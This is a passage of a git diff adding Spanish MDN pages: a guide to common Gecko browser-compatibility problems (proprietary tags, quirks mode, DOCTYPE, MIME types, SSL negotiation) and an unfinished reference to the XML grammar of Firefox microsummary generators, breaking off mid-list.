href="http://www.hiermenuscentral.com/">HierMenu (en)</a></li> </ul> </td> </tr> </tbody>
+</table>
+<h3 id="Problemas_corrientes_ligados_al_código_y_el_servidor_Web">Problemas corrientes ligados al código y el servidor Web</h3>
+<p>Esta sección detalla las soluciones a los problemas más corrientes que afectan a los navegadores reopetuosos de los estándares así como preguntas específicas a Gecko.</p>
+<h4 id="HTML_propietario">HTML propietario</h4>
+<p><strong>Problema: utilizar etiquetas HTML de un navegador propietario específico (tal como: <code>&lt;LAYER&gt;</code> <small>capa</small>).</strong></p>
+<p>Puesto que se supone que un navegador ignora las etiquetas que no reconoce y devuelve el contenido dentro de ellas, los autores de páginas web han combinado los códigos HTML propietarios para que sus páginas se muestren correctamente en cualquier navegador.</p>
+<p>Los navegadores Gecko ignorarán las etiquetas HTML propietarias de Internet Explorer y Netscape Navigator 4. Así pues, una página web no se mostrará en los navegadores Gecko de la misma manera que en Internet Explorer 4 o Netscape Navigator 4.</p>
+<p>El ejemplo principal es la utilización de la etiqueta <code>&lt;LAYER&gt;</code> propietaria de Netscape Navigator 4, corrientemente usada para la navegación en un sitio. Para saber las alternativas basadas en estándares, ver <a href="/es/Actualizar_páginas_DHTML_para_los_próximos_navegadores" title="es/Actualizar_páginas_DHTML_para_los_próximos_navegadores">este artículo</a>. (<a href="/en/Updating_DHTML_Web_Pages_for_Next_Generation_Browsers">en</a>).</p>
+<p>Podemos verificar rápidamente la correcta utilización de las etiquetas HTML propietarias en una página sometiéndola al <a class="external" href="http://validator.w3.org/">verificador de HTML del W3C</a> usando el tipo de documentos HTML 4.01. Abordaremos detalladamente los tipos de documentos (DOCTYPE) más adelante, pero esencialmente, sirven para indicar al navegador cual es la versión HTML de la página.</p>
+<p>La <a href="/es/Referencia_de_interacción_de_elementos_HTML" title="es/Referencia_de_interacción_de_elementos_HTML">Referencia de interacción de elementos HTML</a> (<a href="/en/HTML_Element_Cross_Reference">en</a>) facilita una lista de todos los elementos HTML sostenidos en Netscape 4, los navegadores Gecko, Internet Explorer 4 y superiores, y se puede utilizar para determinar qué elementos son soportados para todos los navegadores.</p>
+<h4 id="Detección_del_navegador">Detección del navegador</h4>
+<p><strong>Problema: mala detección del navegador o interpretación del código</strong></p>
+<p>Mientras que la detección es útil para permitir a los autores escribir páginas web que sólo trabajen con navegadores específicos, una equivocada detección podrá conducir a una mala experiencia de los usuarios.</p>
+<p>Numerosos problemas pueden surgir cuando una página web usa la detección de un navegador para determinar que características propietarias utiliza un navegador en particular.</p>
+<p>Consulte el artículo <a href="/es/Detección_del_navegador_y_cobertura_a_múltiples_navegadores" title="es/Detección_del_navegador_y_cobertura_a_múltiples_navegadores">Detección del navegador y soporte entre ellos</a> para un mejor entendimiento. (<small><a href="/en/Browser_Detection_and_Cross_Browser_Support">en inglés</a></small>)</p>
+<h4 id="Entorno_de_trabajo_de_un_navegador_específico">Entorno de trabajo de un navegador específico</h4>
+<p><strong> Problema: el código incluye el entorno de trabajo de "bugs" y comportamientos aleatorios <em>(quirks mode)</em> de navegadores específicos. </strong></p>
+<p><br>
+Puesto que una página web no se juzga por su código sino por la apariencia en la pantalla de los navegadores, los autores han desarrollado numerosas técnicas que aprovechan la idiosincrasia (carácter) en los navegadores particulares para conseguir los efectos deseados. Tiene pues una particular importancia ya que en las primeras puestas en práctica de las CSS encontradas en Internet Explorer 4 y Netscape Navigator 4 habían varios "bugs". Para conseguir obtener los efectos deseados, los autores escribieron los códigos HTML y JavaScript que dependían de estos "bugs" para que funcionara correctamente.</p>
+<p>Ésto puede provocar problemas con los navegadores Gecko por ejecutar estrictamente los estándares. La vieja escritura de «codificar para los "bugs"» ya no funciona en Mozilla, Netscape 6.x/7.x y todos los otros navegadores Gecko.</p>
+<h5 id="Ejemplo_-_Poniendo_formularios_en_una_tabla">Ejemplo - Poniendo formularios en una tabla</h5>
+<p><strong>HTML no válida</strong> para eliminar el salto de línea en <code>&lt;FORM&gt;</code>.</p>
+<p>En los antiguos navegadores, el resultado hacía que la celda TD envolviera herméticamente un elemento de entrada <code>input</code>.</p>
+<pre>&lt;table border="1"&gt;
+  &lt;tr&gt;
+    &lt;form name="formulario2"&gt;
+      &lt;td&gt;
+        &lt;input type="texto"&gt;
+      &lt;/td&gt;
+    &lt;/form&gt;
+  &lt;/tr&gt;
+&lt;table&gt;
+</pre>
+<p>Este acercamiento es comúnmente utilizado para dar la vuelta al hecho que <code>&lt;FORM&gt;</code> es un elemento en bloque en HTML y que simplemente empezará en una nueva línea en la página. Lamentablemente, éste código ya no es válido, puede provocar errores durante la presentación en pantalla y en la aplicación de las reglas de la hoja de estilo.</p>
+<h5 id="Uso_incorrecto_del_código_vacío_en_una_etiqueta_XML">Uso incorrecto del código <em>vacío</em> en una etiqueta XML</h5>
+<p>Numerosos autores utilizan la anotación vacía en etiqueta XML (<code>&lt;tag /&gt;</code>) en sus ficheros HTML. En XML, una etiqueta vacía no tiene <strong>nunca</strong> contenido. Las directivas de compatibilidad hacia atrás del XHTML estipulan que los elementos <strong>vacíos</strong> pueden ser codificados poniendo después del nombre de la etiqueta un espacio seguido de un signo como en "<code>&lt;tag /&gt;</code>". Para ser compatible, <strong>necesita</strong> tener un espacio antes del cierre " <code>/&gt;</code>". Además, se debe utilizar ésta codificación XML sólo para los elementos HTML que son siempre vacíos — y no para elementos HTML que poseen una etiqueta opcional de cierre.</p>
+<p>Por ejemplo, es correcta la forma: <code>&lt;br /&gt;</code> para codificar <code>&lt;br&gt;</code>, aún cuando no hay ventaja alguna de hacerlo en documentos HTML. Pero es <strong>incorrecto</strong> usar: <code>&lt;option /&gt;</code> para <code>&lt;option&gt;</code>. Para entender por que, consideramos lo siguiente:</p>
+<table class="standard-table"> <tbody> <tr> <th>HTML sin etiqueta opcional de cierre</th> <th>HTML equivalente con etiqueta opcional de cierre</th> </tr> <tr> <td> <pre>
+&lt;select&gt;
+&lt;option&gt;Valor de la opción
+&lt;/select&gt;</pre> </td> <td> <pre>
+&lt;select&gt;
+&lt;option&gt;Valor de la opción&lt;/option&gt;
+&lt;/select&gt;</pre> </td> </tr> </tbody>
+</table>
+<p>Ahora veamos que pasa al utilizar la escritura de etiqueta XML vacía " /&gt;&lt;/tt&gt;".</p>
+<table class="standard-table"> <tbody> <tr> <th>HTML con código de etiqueta XML vacía</th> <th>HTML equivalente con etiqueta de cierre</th> </tr> <tr> <td> <pre>
+&lt;select&gt;
+&lt;option /&gt;Valor de la opción
+&lt;/select&gt;</pre> </td> <td> <pre>
+&lt;select&gt;
+&lt;option&gt;&lt;/option&gt;Valor de la opción
+&lt;/select&gt;</pre> </td> </tr> </tbody>
+</table>
+<p>Es simplemente incorrecto. Si debe utilizar la anotación de etiqueta XML vacía, entonces hacerlo únicamente para elementos HTML que no tengan nunca contenido — <strong>no</strong> para elementos HTML que tienen un cierre opcional.</p>
+<h5 id="Las_identificaciones_(ID)_de_las_hojas_de_estilo_deben_ser_tenidas_en_cuenta">Las identificaciones (ID) de las hojas de estilo deben ser tenidas en cuenta</h5>
+<p>Gecko responde correctamente a los identificadores <code>ID</code> de la hoja de estilo y presentará bien este ejemplo, mientras que Internet Explorer que no los tiene en cuenta no lo presentará.</p>
+<pre>&lt;style type="text/css"&gt;
+  #id1 { text-decoration: line-through; }
+  #ID1 { text-decoration: underline; }
+&lt;/style&gt;
+&lt;div id="id1"&gt;
+  Debería estar tachado (line-through)
+&lt;/div&gt;
+&lt;div id="ID1"&gt;
+  Debería estar subrayado (underline)
+&lt;/div&gt;</pre>
+<p>-(EJEMPLO SUPRIMIDO)-</p>
+<p>Observe que el <a class="external" href="http://validator.w3.org/">verificador de HTML del W3C</a> señalará con una bandera a los atributos de los <code>ID</code> de HTML como duplicados sólo en el caso que difieran (sean diferentes). Parece ser que hay una inconsistencia entre la recomendación de HTML 4.01 y la declaración de SGML para el HTML en si los atributos del identificador <code>ID</code> se toman en cuenta o no. Esto es una lástima ya que el <a class="external" href="http://validator.w3.org/">verificador de HTML</a> es para los desarrolladores web uno de sus principales medios de aprendizaje de los estándares.</p>
+<p>Debido a este común error, Netscape 6.2 no hace caso a los atributos de <code>ID</code> de CSS en modo de compatibilidad aleatoria (quirks mode). Si se invoca el <em>modo de respeto de los estándares</em>, convendrá ser consistente en escribirlo en las hoja de estilo de manera que se respete.</p>
+<h5 id="Los_nombres_de_clase_de_la_hoja_de_estilo_deberían_ser_tomados_en_cuenta">Los nombres de clase de la hoja de estilo deberían ser tomados en cuenta</h5>
+<p>Gecko hace caso a los nombres de clase de las hojas de estilo (<code>CLASS</code>) y por eso presentará correctamente este ejemplo, mientras que Internet Explorer hace caso omiso, por lo tanto no lo sacará bien en la pantalla.</p>
+<pre>&lt;style type="text/css"&gt;
+  .class1 { font-size: 1em; }
+  .CLASS1 { font-size: 2em; }
+&lt;/style&gt;
+&lt;div&gt;
+&lt;div class="class1"&gt;
+  Debería tener la medida de fuente: 1em;
+&lt;/div&gt;
+&lt;div class="CLASS1"&gt;
+  Debería tener la medida de fuente: 2em;
+&lt;/div&gt;</pre>
+<p>-(EJEMPLO SUPRIMIDO)-</p>
+<p>Por este común error de los autores de páginas web, Netscape 6.2 tampoco hace caso de los atributos de clase <code>CLASS</code> en modo de compatibilidad aleatoria (<em>quirks mode</em>). Si se invoca el <em>modo de respecto de los estándares</em>, hay que definirlo correctamente en las hojas de estilo (CSS) para que sea tomado en cuenta.</p>
+<h5 id="Enlaces_(URLs)_relativos_incorrectos">Enlaces (URLs) relativos incorrectos</h5>
+<p>Una URL relativa se refiere al mismo servidor web que alberga a la página web.</p>
+<ul> <li>Una URL relativa que lleva al directorio donde se encuentra la página sería así: <code>directorio/pagina.html</code>.</li> <li>Las URLs relativas que dirigen al directorio raíz del servidor web serían así: <code>/directorio/pagina.html</code>.</li>
+</ul>
+<p>Los antiguos navegadores aceptaban la utilización incorrecta: <code><span>http://directorio/</span></code> parar las direcciones relativas al directorio raíz del servidor web, pero no es el caso de los navegadores Gecko. Para especificar correctamente el enlace a una página del directorio raíz del servidor web, use esta forma: <code>/directorio/pagina.html</code>.</p>
+<h5 id="La_utilización_inválida_de_espacios_en_los_nombres_de_atributos_(por_ejemplo_mapas_de_imágenes)">La utilización inválida de espacios en los nombres de atributos (por ejemplo: mapas de imágenes)</h5>
+<p>Muchos autores parecen infectados por la manía de utilizar espacios en los nombres. Un atributo <a class="external" href="http://www.w3.org/TR/html401/types.html#h-6.2"><code>name</code> o <code>id</code></a> en HTML 4.01 no puede conformemente al W3 contener espacios. Esto puede dar problemas en los navegadores basados en Gecko, especialmente en los mapas de imágenes. Conviene, por eso, verificar que los nombres de atributos contengan <strong>sólo</strong> caracteres válidos.</p>
+<h4 id="Mala_codificación_debida_a_API_y_herramientas_anticuadas">Mala codificación debida a "API" y herramientas anticuadas</h4>
+<p><strong>Problema: unas "APIs" o herramientas de edición obsoletas generan un código no estándar.</strong></p>
+<p>Muchas versiones antiguas de "API" de interacción entre navegadores comúnmente usadas como <a class="external" href="http://dynapi.sourceforge.net/">DYNAPI (en)</a>, no aguantan a Gecko por una u otra razón citada más arriba. Es igualmente el caso de antiguas versiones de herramientas de edición web como Macromedia Dreamweaver 2 y 3.</p>
+<p>Sin embargo las versiones más recientes de "API" y de herramientas web soportan a Gecko. Por ejemplo, <a class="external" href="http://dynapi.sourceforge.net/">DYNAPI (en)</a> es ahora mantenido en SourceForge y ofrece una versión compatible con Gecko. Las nuevas <a href="/es/Herramientas_de_edición_respetuosas_de_los_estándares" title="es/Herramientas_de_edición_respetuosas_de_los_estándares">Herramientas de edición respetuosas de los estándares</a> también soportan a Gecko.</p>
+<h4 id="Tipo_de_documento_(DOCTYPE)_impropio_mal_codificado">Tipo de documento (DOCTYPE) impropio, mal codificado</h4>
+<p><strong> Problema: el tipo de documento incorrecto puede alterar completamente la presentación de las páginas. </strong></p>
+<p>Gecko, Internet Explorer para Mac OS e Internet Explorer 6 utilizan todos la técnica de detección del tipo de documento para determinar la forma de presentación, si debe ser en modo compatible con los antiguos navegadores o conformemente a las normas W3C.</p>
+<p>Usando el tipo de documento apropiado en el HTML permite a los autores de páginas web hacer que soporten tanto, los viejos navegadores menos conformes, que los nuevos, especificando en él, el modo de composición elegido. Al paso del tiempo y con la progresiva desaparición de los viejos navegadores en el mercado, los autores de páginas web pueden efectuar la transición hacia las normas W3. (<a href="/es/¡Libertad,_Igualdad,_Validez!" title="es/¡Libertad,_Igualdad,_Validez!">Artículo relacionado</a>).</p>
+<p>Mientras que la detección de la declaración del tipo de documento es útil para permitir el soporte de viejos navegadores, puede ser un problema para los de última generación como Netscape 6.x y Netscape 7.x si se especifica incorrectamente el modo de composición.</p>
+<p>Gecko tiene dos modos de composición: el de compatibilidad aleatoria (quirks) y el de respeto estricto de los estándares (standards). El modo aleatorio imita el comportamiento de Netscape Navigator 4 cuando el estricto sigue las recomendaciones para HTML y CSS del W3C. En particular, el modo estricto utiliza el modelo de caja CSS como se define en el <a class="external" href="http://www.w3.org/TR/REC-CSS2/visudet.html">Capítulo 10</a> de las recomendaciones sobre CSS 2. El modo de presentación es determinado con la ayuda en la declaración del tipo de documento (o de su carencia) al principio de documento HTML.</p>
+<h4 id="Escritura_inválida_para_dejar_un_comentario">Escritura inválida para dejar un comentario</h4>
+<p>Gecko posee también tres modelos de análisis de compatibilidad: modo aleatorio (quirks), <a href="/es/Modo_casi_estándar_de_Gecko" title="es/Modo_casi_estándar_de_Gecko">modo casi-estándar</a> (<a href="/en/Gecko's_Almost_Standards_Mode">en</a>) y modo estricto de los estándares. El modo aleatorio permite la utilización no válida de más de dos guiones "--" para dejar un comentario, lo cual no dejan hacer los otros modos.</p>
+<pre>&lt;!---- Ésto es un comentario HTML '''inválido''' pero aceptado en el análisis aleatorio de comentario ----&gt;
+
+&lt;span class="highlightblue"&gt;&lt;!-- Ésto es un comentario '''válido''' aceptado en el análisis estricto de comentario --&gt;&lt;/span&gt;</pre>
+<p>Para saber las reglas exactas de como se invoca desde la declaración en el tipo de documento al modo aleatorio vs. al modo estricto con los estándares, consulten <a href="/es/Detección_del_tipo_de_documentos_en_Mozilla" title="es/Detección_del_tipo_de_documentos_en_Mozilla">este artículo</a>.</p>
+<h3 id="Codificación_de_plugins_(pequeñas_aplicaciones_para_la_web)">Codificación de plugins (pequeñas aplicaciones para la web)</h3>
+<p>Habrá visto que algunos "plugins" no se comportan de la misma forma en Gecko y en Netscape Navigator 4. Visite la página <a href="/es/Plugins" title="es/Plugins">plugins</a> para más información sobre la codificación de los navegadores Gecko, el buen uso de las etiquetas, los cambios en la arquitectura comparado con la generación Netscape 4, y las sugerencias de estratégias para plugins.</p>
+<h3 id="Problemas_de_configuración_en_el_servidor_web">Problemas de configuración en el servidor web</h3>
+<h4 id="Tipos_MIME_especificados_incorrectamente">Tipos MIME especificados incorrectamente</h4>
+<p>Muchos servidores web especifican incorrectamente los tipos MIME para los ficheros. Los navegadores Gecko requieren que el servidor web defina correctamente el tipo MIME correspondiente al tipo de contenido:</p>
+<ul> <li>HTML — <code>text/html</code></li> <li>CSS — <code>text/css</code> <small><a href="/es/Tipo_MIME_incorrecto_en_archivos_CSS" title="es/Tipo_MIME_incorrecto_en_archivos_CSS">artículo relacionado</a>, (<a href="/en/Incorrect_MIME_Type_for_CSS_Files">en inglés</a>)</small></li> <li>XML — <code>text/xml</code></li> <li>SVG — <code>image/svg+xml</code></li>
+</ul>
+<h4 id="Mala_ejecución_del_protocolo_HTTP">Mala ejecución del protocolo HTTP</h4>
+<p>Varios servidores ejecutan incorrectamente el protocolo HTTP, lo cual puede dar problemas en Netscape 6.</p>
+<h4 id="Mala_ejecución_del_protocolo_SSL">Mala ejecución del protocolo SSL</h4>
+<p>Los antiguos navegadores tal como Internet Explorer 4 et Netscape Navigator 4 ejecutaban versiones viejas del <a href="/es/Introducción_a_SSL" title="es/Introducción_a_SSL">protocolo SSL</a>. La versión más común ahora es SSL 3.0, empero, la última versión: TLS (SSL 3.1), la cual es soportado por los navegadores Gecko, no lo es aún por varios servidores web. Desgraciadamente, varios procedimientos de SSL 3.0 ejecutan incorrectamente la negociación de qué versión de SSL hay que usar y fallan en la conexión con Gecko.</p>
+<p>Para más información sobre esta cuestión, lea: <a href="/es/Notas_sobre_TLS_-_Servidores_SSL_3.0_intolerantes" title="es/Notas_sobre_TLS_-_Servidores_SSL_3.0_intolerantes">Notas sobre TLS - Servidores SSL 3.0 intolerantes</a>.</p>
+<h3 id="Recursos_útiles">Recursos útiles</h3>
+<ul> <li>Para empezar los autores de páginas web de nivel intermedio pueden consultar en <em>DevEdge Web Tune Up Wizard</em> a fin de puntear las áreas de contenidos que necesitan actualización para soportar a Gecko y otros navegadores que se apoyan en los <a href="/es/Estándares_Web" title="es/Estándares_Web">estándares</a> del W3C.</li> <li><a class="external" href="http://webmaster.info.aol.com/">AOL Webmaster.info Site - Developing for Netscape Gecko</a> cubre las cuestiones más comunes a las que se enfrentan los autores de web y de como poner al día los códigos.</li> <li>La <a href="/es/Herramientas" title="es/Herramientas">caja de herramientas</a> agrega muchas utilidades valiosas del W3C para el diagnóstico de problemas en páginas web como serían: verificadores, ejemplos de código y mucho más.</li> <li><a class="external" href="http://bugzilla.mozilla.org/enter_bug.cgi?format=guided">Report Mozilla browser bugs or web site compatibility problems</a></li> <li><a href="/en/Mozilla_Web_Developer_Community">Community</a></li>
+</ul>
+<h3 id="Referencias">Referencias</h3>
+<ul> <li><a href="/es/Utilización_de_estándares_en_vuestras_páginas_web" title="es/Utilización_de_estándares_en_vuestras_páginas_web">El uso de estándares</a>, <small><a href="/en/Using_Web_Standards_in_your_Web_Pages">en inglés</a></small>.</li> <li><a href="/es/Detección_del_navegador_y_cobertura_a_múltiples_navegadores" title="es/Detección_del_navegador_y_cobertura_a_múltiples_navegadores">Detección del navegador y soporte entre ellos</a>, <small><a href="/en/Browser_Detection_and_Cross_Browser_Support">en inglés</a></small></li> <li><a href="/es/Actualización_de_páginas_DHTML" title="es/Actualización_de_páginas_DHTML">Actualización de páginas DHTML</a>, <small><a href="/en/Updating_DHTML_Web_Pages">en inglés</a></small></li> <li><a href="/es/Referencia_de_interacción_de_elementos_HTML" title="es/Referencia_de_interacción_de_elementos_HTML">Referencia de interacción de elementos HTML</a><small><a href="/en/HTML_Element_Cross_Reference">en inglés</a></small></li> <li><a href="/es/Referencia_de_interacción_de_modelo_de_objetos_del_documento" title="es/Referencia_de_interacción_de_modelo_de_objetos_del_documento">Referencia de interacción de modelo de objetos del documento</a>, <small><a href="/en/DOM_Client_Object_Cross-Reference">en inglés</a></small></li> <li><a href="/es/Introducción_a_la_interacción_de_navegadores_JavaScript_y_HTML_dinámico" title="es/Introducción_a_la_interacción_de_navegadores_JavaScript_y_HTML_dinámico">Introducción a la interacción de navegadores JavaScript y HTML dinámico</a>, <small><a class="external" href="http://www.mozilla.org/docs/web-developer/xbdhtml/xbdhtml.html">en inglés</a></small></li> <li><a href="/es/Cadenas_del_User_Agent_de_Gecko" title="es/Cadenas_del_User_Agent_de_Gecko">Cadenas del User Agent de Gecko</a></li> <li><a href="/es/Herramientas" title="es/Herramientas">Herramientas de desarrollo</a></li> <li><a href="/es/El_detector_de_tipo_de_documento_en_Mozilla" title="es/El_detector_de_tipo_de_documento_en_Mozilla">El detector de tipo de documento en Mozilla</a></li> <li>La <a href="/es" title="es">portada</a> apunta a numerosos recursos.</li>
+</ul>
+<div class="originaldocinfo">
+<h3 id="Información_sobre_el_documento_original">Información sobre el documento original</h3>
+<ul> <li>Última actualización: 16 de Agosto de 2002</li> <li>Copyright : © 2001-2003 Netscape. All rights reserved.</li>
+</ul>
+</div>
+<p><span>Interwiki Languages Links</span></p>
+<p></p>
diff --git a/files/es/marcado_xml_en_los_microresúmenes/index.html b/files/es/marcado_xml_en_los_microresúmenes/index.html
new file mode 100644
index 0000000000..3b903dc9c9
--- /dev/null
+++ b/files/es/marcado_xml_en_los_microresúmenes/index.html
@@ -0,0 +1,187 @@
+---
+title: Marcado XML en los microresúmenes
+slug: Marcado_XML_en_los_microresúmenes
+tags:
+  - Esbozos
+  - Microresúmenes
+  - Todas_las_Categorías
+translation_of: Archive/Mozilla/Microsummary_topics/XML_grammar_reference
+---
+<p></p><div class="overheadIndicator draft">
+    <p><strong>Borrador</strong><br>
+    Esta página no está completa.</p>
+
+</div><p></p>
+<h2 id="Introducci.C3.B3n" name="Introducci.C3.B3n">Introducción</h2>
+<p>Un generador de microrresúmenes es un documento XML que describe la forma de recuperar información específica desde una página web para ser presentada de forma resumida como un marcador cuyo título cambia basándose en el contenido de la página que referencia.</p>
+<p>Este artículo proporciona información detallada sobre la gramática XML usada para construir generadores de microrresúmenes, describiendo cada elemento y sus atributos. Puedes ver una introducción de cómo crear un microrresumen leyendo el artículo <a href="es/Crear_un_microrresumen">Crear un microrresumen</a>.</p>
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+<p>A continuación se muestra el generador de microrresúmenes creado en el tutorial <a href="es/Crear_un_microrresumen">Crear un microrresumen</a>.</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>" name="Firefox Download Count"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      &lt;template match="/"&gt;
+        &lt;value-of select="id('download-count')"/&gt;
+        &lt;text&gt; Fx downloads&lt;/text&gt;
+      &lt;/template&gt;
+    &lt;/transform&gt;
+  &lt;/template&gt;
+  &lt;pages&gt;
+    &lt;include&gt;<span class="nowiki">http://(www\.)?spreadfirefox\.com/(index\.php)?</span>&lt;/include&gt;
+  &lt;/pages&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Espacio_de_nombres" name="Espacio_de_nombres">Espacio de nombres</h2>
+<p>El URI del espacio de nombres para los documentos XML generadores de microrresúmenes es:</p>
+<pre class="eval"><span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>
+</pre>
+<p>Todos los elementos en un documento generador de microrresúmenes deben de estar en este espacio de nombres excepto los descendientes del elemento <code><a href="#The_.3Ctemplate.3E_element">&lt;template&gt;</a></code>, el cual debe de estar en el espacio de nombres de XSLT:</p>
+<pre class="eval"><span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>
+</pre>
+<h2 id="El_elemento_.3Cgenerator.3E" name="El_elemento_.3Cgenerator.3E">El elemento <code>&lt;generator&gt;</code></h2>
+<p>El elemento <code>&lt;generator&gt;</code> es la etiqueta raíz para todos los generadores de microrresúmenes y debe de contener el resdo del código XML que describen al generador.</p>
+<p><b>Atributos:</b></p>
+<dl>
+ <dt>
+  <code>name</code> (requirido)</dt>
+ <dd>
+  Un nombre descriptibo y legible para el microrresumen creado por el generador.</dd>
+ <dt>
+  <code>uri</code> (opcional)</dt>
+ <dd>
+  Un URI único válido que identifique al generador. Sólo es relevante para los generadores creados dinámicamente por el código y las extensiones de Firefox. Los generadores instalados desde el web vía <code>nsSidebar::addMicrosummaryGenerator</code> son identificados por la URL remota desde la que son descargados. Para éstos, Firefox ignorará el valor de este atributo.</dd>
+</dl>
+<p><b>Elementos hijos:</b></p>
+<dl>
+ <dt>
+  <code><a href="#The_.3Ctemplate.3E_element">&lt;template&gt;</a></code> (requerido)</dt>
+ <dd>
+  Especifica cómo transformar páginas en sus microrresúmenes.</dd>
+ <dt>
+  <code><a href="#The_.3Cpages.3E_element">&lt;pages&gt;</a></code> (requerido)</dt>
+ <dd>
+  Identifica el conjunto de páginas que el generador es capaz de resumir.</dd>
+ <dt>
+  <code><a href="#The_.3Cupdate.3E_element">&lt;update&gt;</a></code> (opcional)</dt>
+ <dd>
+  Especifica cada cuanto tiempo debe Firefox actualizar los microrresúmenes.</dd>
+</dl>
+<h2 id="El_elemento_.3Ctemplate.3E" name="El_elemento_.3Ctemplate.3E">El elemento <code>&lt;template&gt;</code></h2>
+<p>El elemento <code>&lt;template&gt;</code> contiene la hoja de estilos XSLT que transforma páginas web en sus microrresúmenes.</p>
+<p><b>Atributos:</b></p>
+<p>
+ <i>
+  Ninguno.</i>
+</p>
+<p><b>Elementos hijos:</b></p>
+<dl>
+ <dt>
+  <code>&lt;stylesheet&gt;</code> o <code>&lt;transform&gt;</code> (requeridos)</dt>
+ <dd>
+  La hoja de estilos XSLT que realiza la transformación.</dd>
+</dl>
+<p>Para cada <a href="es/XSLT">XSLT</a>, debes especificar el elemento hijo de hojas de estilo usando o bien <code>&lt;stylesheet&gt;</code> o bien la etiqueta <code>&lt;transform&gt;</code>, las cuales son intercambiables.</p>
+<div class="note">
+ <p><b>Nota:</b> Aunque el elemento &lt;template&gt; debe de estar en el espacio de nombres del microrresumen (<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>), sus elementos <code>&lt;stylesheet&gt;</code>/<code>&lt;transform&gt;</code> deben de estar en el espacio de nombres de XSLT (<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>).</p>
+</div>
+<h2 id="El_elemento_.3Cpages.3E" name="El_elemento_.3Cpages.3E">El elemento <code>&lt;pages&gt;</code></h2>
+<p>El elemento <code>&lt;pages&gt;</code> identifica el conjunto de páginas que el generador es capaz de resumir.</p>
+<p><b>Atributos:</b></p>
+<p>
+ <i>
+  Ninguno.</i>
+</p>
+<p><b>Elementos hijo:</b></p>
+<dl>
+ <dt>
+  <code><a href="#The_.3Cinclude.3E_element">&lt;include&gt;</a></code> (opcional)</dt>
+ <dd>
+  Una expresión regular que coincide con las URLs de las páginas que el generador es capaz de resumir.</dd>
+ <dt>
+  <code><a href="#The_.3Cexclude.3E_element">&lt;exclude&gt;</a></code> (opcional)</dt>
+ <dd>
+  Una expresión regular que coincide con las URLs de las páginas que el generador es incapaz de resumir.</dd>
+</dl>
+<p>El elemento <code>&lt;pages&gt;</code> puede contener cero o más elementos hijos <code>&lt;include&gt;</code> y <code>&lt;exclude&gt;</code>, cada uno de los cuales puede contener una expresión regular compatible con JavaScript. No debe de contener ningún otro elemento y no tiene ningún attributo.</p>
+<p>Cuando un generador es examinado para determinar si es capaz o no de resumir una página, las expresiones regulares proporcionadas por los elementos hijos son evaluadas con la URL de la página. Un generador es considerado capaz de resumir una página si al menos una de las expresiones <code>&lt;include&gt;</code> coincide con la URL de la página y ninguna de las expresiones <code>&lt;exclude&gt;</code> coincide con la URL de la página.</p>
+<p>El orden en el que los elementos hijos aparecen en el elemento <code>&lt;pages&gt;</code> no es relevante. Los espacios en blanco entre los elementos hijos y las expresiones regulares tampoco importan; no se consideran parte de la expresión regular y no afectan a la evaluación de dichas expresiones.</p>
+<p>El siguiente ejemplo identifica un generador como aquel capaz de resumir todas las páginas del sitio web <code>www.example.com</code> excepto las páginas llamadas <code>about.html</code>:</p>
+<pre class="eval">&lt;pages&gt;
+  &lt;include&gt;
+    <span class="nowiki">^http://www\.example\.com/</span>
+  &lt;/include&gt;
+  &lt;exclude&gt;/about\.html&lt;/exclude&gt;
+&lt;/pages&gt;
+</pre>
+<div class="note">
+ <b>Nota:</b> Las expresiones regulares diseñadas para coincidir con el comienzo de las URLs de las páginas deberían de empezar con el acento circunflejo(^) para asegurar que no coinciden por error con las URLs que simplemente contienen la URL con la que pretenden coincidir. Por ejemplo, la expresión regular <code><span class="nowiki">http://www\.example\.com/</span></code> coincidirá tanto con la URL <code><span class="nowiki">http://www.example.com/</span></code> como en la URL <code><span class="nowiki">http://www.evil.com/http://www.example.com/</span></code>, pero la expresión regular <code><span class="nowiki">^http://www\.example\.com/</span></code> sólo coincidirá con la primera de las anteriores dos URLs.</div>
+<p>Véase la referencia <a href="es/Core_JavaScript_1.5_Reference/Global_Objects/RegExp">Core_JavaScript_1.5_Reference:Global_Objects:RegExp</a> para detalles sobre la sintaxis válida de las expresiones regulares para los generadores y el tutorial <a href="es/Crear_expresiones_regulares_para_generadores_de_microrres%c3%bamenes">Crear expresiones regulares para generadores de microrresúmenes</a> para seguir paso a paso las instrucciones sobre cómo escribir expresiones regulares que coincidan con URLs.</p>
+<h2 id="El_elemento_.3Cinclude.3E" name="El_elemento_.3Cinclude.3E">El elemento <code>&lt;include&gt;</code></h2>
+<p>El elemento <code>&lt;include&gt;</code> identifica un conjunto de páginas que el generador es capaz de resumir. Debe de ser hijo del elemento <code>&lt;pages&gt;</code> y debe de contener una expresión regular compatible con JavaScript.</p>
+<p>Para más información sobre el uso de este elemento, véase la entrada para <a href="#The_.3Cpages.3E_element">#The_&lt;pages&gt;_element</a>.</p>
+<h2 id="El_elemento_.3Cexclude.3E" name="El_elemento_.3Cexclude.3E">El elemento <code>&lt;exclude&gt;</code></h2>
+<p>El elemento <code>&lt;exclude&gt;</code> identifica un conjunto de páginas que el generador no es capaz de resumir. Debe ser hijo del elemento <code>&lt;pages&gt;</code> y debe de contener una expresión regular compatible con JavaScript.</p>
+<p>Para más información sobre el uso de este elemento, véase la entrada para <a href="#The_.3Cpages.3E_element">#The_&lt;pages&gt;_element</a>.</p>
+<h2 id="El_elemento_.3Cupdate.3E" name="El_elemento_.3Cupdate.3E">El elemento <code>&lt;update&gt;</code></h2>
+<p>El elemento opcional <code>&lt;update&gt;</code> especifica cada cuánto tiempo debe Firefox actualizar los microrresúmenes generados por el generador. El elemento puede ser usado para especificar tanto un intervalo absoluto de actualización como una serie de intervalos condicionales basados en el contenido de la página que está siendo resumida.</p>
+<p><b>Atributos:</b></p>
+<dl>
+ <dt>
+  <code>interval</code> (opcional)</dt>
+ <dd>
+  Es el intervalo de tiempo absoluto (en minutos) que debe de transcurrir entre las actualizaciones.</dd>
+</dl>
+<p><b>Child Elements:</b></p>
+<dl>
+ <dt>
